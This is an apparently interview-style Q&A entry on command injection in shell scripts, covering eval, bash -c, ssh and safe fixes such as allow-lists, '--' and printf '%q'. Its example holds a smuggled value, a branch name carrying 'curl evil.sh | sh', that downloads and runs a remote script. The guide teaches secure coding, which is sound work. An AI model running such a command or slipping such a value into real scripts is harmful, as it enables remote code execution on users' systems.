What is command injection in shell scripts, and how do you prevent it?
AdvancedConceptShellCheck, debugging, testing, portability and security
Answer
Injection happens when untrusted data is interpreted as code: by eval, bash -c "$string", ssh host "cmd $var", sh -c in find -exec, or unquoted expansions that turn into options.
branch="main; curl evil.sh | sh"
eval "git checkout $branch" # runs the curl
ssh web1 "cd /srv && git checkout $branch" # same problem remotely
# Safe
[[ $branch =~ ^[A-Za-z0-9._/-]+$ ]] || die "invalid branch name"
git checkout -- "$branch"
ssh web1 "cd /srv && git checkout -- $(printf '%q' "$branch")"
Rules: validate input against an allow-list, never eval user data, pass data as arguments not code, use -- to end options, and use printf '%q' when you must build a command string for a remote shell.
More on ShellCheck, debugging, testing, portability and security
What is ShellCheck and how do you use it in a team?BeginnerHow do you disable a ShellCheck warning, and when is that acceptable?IntermediateName the ShellCheck warnings you see most and what each means.IntermediateHow do you debug a Bash script?BeginnerHow do you make `set -x` output more useful with `PS4`?IntermediateWhat is bats, and how do you test a script that calls external commands?Intermediate